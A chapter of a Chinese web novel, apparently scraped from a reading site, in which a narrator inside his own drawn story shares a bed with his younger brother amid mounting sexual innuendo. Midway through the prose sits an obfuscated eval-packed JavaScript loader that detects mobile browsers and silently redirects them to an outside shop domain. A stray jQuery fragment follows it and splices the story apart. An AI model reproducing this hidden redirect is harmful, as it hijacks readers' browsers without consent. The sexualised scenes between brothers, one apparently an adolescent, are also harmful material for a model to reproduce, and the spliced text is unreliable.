“你是不是有病啊!”高泽生裹紧被子。
这一踢,屁股摔得生疼,他从地上爬起来,也不恼,嬉皮笑脸地又爬上床,再次钻进被窝,紧紧抱住高泽生,黏着:
“我就知道你舍不得真踹我,你看你这一脚,软绵绵的,一点力气都没有。”
“放开!”
“不放!”
两人在床上扭作一团。高泽生用力挣扎,可高泰安抱得死死的,他越挣扎,高泰安抱得越紧。
高泽生一个不留神,脑袋磕到了床头,疼得他眼眶瞬间红了:“你就是故意的,你出去,我再也不想见到你!”
高泰安这下慌了神,连忙松开手,小心翼翼地查看高泽生的脑袋,一边吹一边哄:
“对不起对不起,我真不是故意的,我看看磕疼了没?都怪我,都怪我。”
高泽生别过头,不理他,肩膀微微颤抖着。
他不会哭了吧?
这可怎么办才好?他内心百般交集。
“你别哭……是不是嗑疼了?我去给你找药敷一敷。”
高泰安正要起身走,高泽生突然拉住了他的手。
“哥……”
高泰安看到弟弟竟然哭红了眼睛,那模样像极了一只受了惊的小鹿,眼睛湿漉漉的,长睫上还挂着晶莹的泪珠,一颤一颤的,特别惹人疼爱。
高泰安的心瞬间揪成一团,自责感如潮水般涌来,心想:我真是个混蛋,怎么能把这么可爱的弟弟弄哭两次!
“哥,你别走。”高泽生的声音带着浓浓的鼻音,拉着高泰安的手也紧了紧。
高泰安坐回床边,道:“不走不走,哥哪儿都不去,就在这儿陪着你。”
“都怪我,我就是个大笨蛋,做事没轻没重的。”高泰安自我数落,“我保证,以后绝对不会再这样了,你要是还生气,就咬我一口出出气。”
说着,他还真把胳膊伸到高泽生面前。
高泽生愣了一下,高泰安还以为他不会真咬,正准备打趣说弟弟心软,结果下一秒,高泽生动作快得让他来不及反应。只见高泽生双腿一跨,稳稳坐在高泰安的腰间,一口狠狠咬住了他的脖颈!
“嗷!”高泰安惨叫一声,双手下意识地想要推开高泽生,可又怕弄疼他。“你属狗的啊,下嘴这么狠!”
高泰安疼得眼泪都快出来了,可又不敢用力挣扎,只能任由高泽生咬着。
高泽生咬了好一会儿才松开,看着高泰安脖子上那清晰的牙印,心里莫名有种报复的快感。
高泽生红着眼眶,气喘吁吁,呼吸声都听起来像是在撒娇。
高泰安揉着脖子,道:“你这一口,比被狗咬还疼。我错了还不行吗?你看看,都快咬出血了。”
高泽生瞥了一眼那牙印,心情终于舒展了些,傲娇微微一笑。
高泰安眼睛亮晶晶的:“你笑了?只要你能开心,别说咬一口,咬十口我都愿意。”
说着,他又把脖子伸过去。
这么慷慨?
高泽生当真把头伸了过去,高泰安吓得一哆嗦,心里:不会吧,还来?
他身体紧绷,然而,预想中的疼痛并没有到来,高泽生只是轻轻伸出舌头,舔了舔那红肿的牙印!
湿湿的触感让高泰安浑身一僵,整个人都懵了,大脑一片空白。
舔完之后,高泽生还一脸委屈地说了句:“哥,我舍不得。”
那声音软软糯糯,带着未散尽的哭腔,听得高泰安的心都快化了。
天杀的!怎么这么会撒娇?
他舍不得什么?
高泰安探取他的心声:好想就一直赖在哥哥怀里,想和他更近一点,更近一点……
想到这里,高泽生脸瞬间变得滚烫,像被炉火烤过一般。
后面那句话不止让他脸变得滚烫,高泰安也承受不住,吓得直咳嗽。
“哥你没事吧?”
高泰安回过神来,看着眼前这个害羞得快冒烟的弟弟,摸了摸他的头,笑着说:“没事。”
他只当是小孩青春期,荷尔蒙泛滥。
哄高泽生开心这任务算完成了,有二十点功德就够了,他也不贪心,和他一起睡就算了吧。
看高泽生红晕的脸颊,真怕他一不小心犯了错事。
这时高泰安开口说道:“时间不早了,你早点睡吧。”
见他正要走,高泽生连忙伸手拉住他衣角,急切问:“你要走吗哥?”
一副被主人丢弃了的可怜模样。
高泰安被他这副模样弄得心里一软,可又想起之前高泽生那些听了都要打马赛克的心声,犹豫了一下,还是硬着头皮“啊嗯”了一声。
下一秒,高泽生直接趴在他身上,脑袋还在他胸口蹭了蹭,声音软软的:“哥你好香,今晚可以陪我睡吗?”
高泰安身体瞬间僵住:“那什么……”
他张了张嘴,却发现喉咙像被堵住了一样,一时间竟说不出话来,心里那叫一个纠结。
答应吧,实在担心自己招架不住高泽生心里时不时冒出的那些马赛克;不答应吧,又实在不忍心看到他受委屈。
高泽生见他不说话,又使劲蹭了蹭,两条腿还夹住高泰安的腰:“哥,你就陪我睡嘛,我保证,今晚绝对不折腾你。”
高泰安想了想,反正之前也一起睡过,应该不会发生什么吧?他咬咬牙,心一横:
“行吧行吧,真是拿你没办法。不过你不许再乱动了,不然我可真走了。”
高泽生一听,立刻眉开眼笑,点头:
“好!我保证不乱动。”
两人重新躺回床上,高泰安刚一躺下,高泽生就立刻像八爪鱼一样缠了上来,脑袋枕在高泰安的胳膊上,一条腿还搭在他身上。
高泰安无奈地叹了口气:“你不是说不乱动吗?”
高泽生嘿嘿一笑:“这样舒服嘛,我不动了,真的。”
可没过一会儿,高泽生的手就开始不安分起来,在高泰安的胸口轻轻戳着,嘴里还念念有词:“哥,你的心跳好快呀。”
高泰安一把抓住他的手:“你再乱动,我可真走了。”
高泽生可怜兮兮地,说道:“哥,你变心了。”
高泰安索性假装没听见。
然而,这小祖宗显然不打算放过他。只见高泽生一个翻身,竟然作势坐到了他的腿上!
高泰安吓得眼睛瞪得老大,慌乱地喊道:“你干什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612508|206000||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
高泽生眼神里带着懵懂与无助,紧接着冒出一句:“哥,我立起来了。”
神他妈立起来了!!!
高泰安差点没被自己的口水呛到,大脑瞬间宕机。
他怎么也没想到高泽生会说出这种话。
“哥,你帮帮我吧。”高泽生继续可怜巴巴地说道。
高泰安的耳后根一下红透了,连带着脖子都染上了一层红晕,喉咙不自觉地滚动了几下,咽了口唾沫。
僵持了好一会儿,高泰安才结结巴巴地开口:“你……你先下来,别……别坐在这儿。”
高泽生却像没听见似的,不仅没下来,反而还扭动了一下屁股,撒娇道:“哥,我不舒服嘛。”
“你……你再这样,我真生气了啊!”高泰安佯装发怒。
高泽生这才不情不愿地从他腿上下来,重新躺回他身边,嘴里还嘟囔着:“哥你就知道凶我,都不帮我。”
为了缓解气氛,高泰安清了清嗓子,说道:“那个……你啊,别瞎想,早点睡觉,明天还要……还要干嘛来着,总之赶紧睡。”
“嗯。”高泽生背过身去。
高泰安赶紧将头埋进被子里,脸烫得不像话,他在心里疯狂咆哮:这该死的万人迷不好当啊!还以为和弟弟相处就是打打闹闹,哪知道他现在满脑子都是这些打马赛克的想法。
他内心焦躁难安。
不过就是想完成任务攒功德回家,怎么就这么难?这弟弟的心思就像坐过山车,一会儿撒娇求抱抱,一会儿又语出惊人。小心脏实在是受不了,再这么下去,非得提前进入更年期。
我明明是他哥,怎么感觉自己像个被调戏的小媳妇,尴尬得脚趾都能抠出三室一厅。关键是他还一脸无辜懵懂,好像根本不知道自己说的话有多劲爆。操……
直接挑明吧,怕伤了他的心,以后连兄弟都做不成;继续装傻吧,又怕哪天他做出更出格的事。
功德难赚,屎难吃。
第二日清晨醒来,高泰安感觉自己被什么重物压得喘不过气。
睁眼一瞧,好家伙,高泽生睡觉的姿势实在难评,为什么像条蛇一样死死捆住他的身体?!
那两条腿还夹住他的腿……
“哎喂!老弟!”高泰安拍了拍他,高泽生却像睡死过去了,动都不动一下。
“起床啦!”高泰安大声喊,他还是没反应。
高泰安凑近他的脸,仔细端详,怎么会长得这般清秀好看!高泰安不禁得意地笑了,心想:
不愧是我的画工,笔下的每个人物都长得这么好看。
高泰安轻轻点了一下他的鼻子,又翘又好看。
就在这时,高泽生突然睁开了眼睛,高泰安吓得像触电了一样,赶紧缩回手。
“哥,怎么了?”高泽生睡眼惺忪,声音带着浓浓的起床气。
“没事,醒了?”高泰安强装镇定。
“嗯嗯。”高泽生迷迷糊糊地点点头,还是一副没睡醒的样子,两只眼睛都还没完全睁开。
“起来吧。”高泰安道。
“好。”高泽生嘴里应和着,可身体却像被胶水粘在了床上,不仅没起来,还更用力地抱着高泰安不放。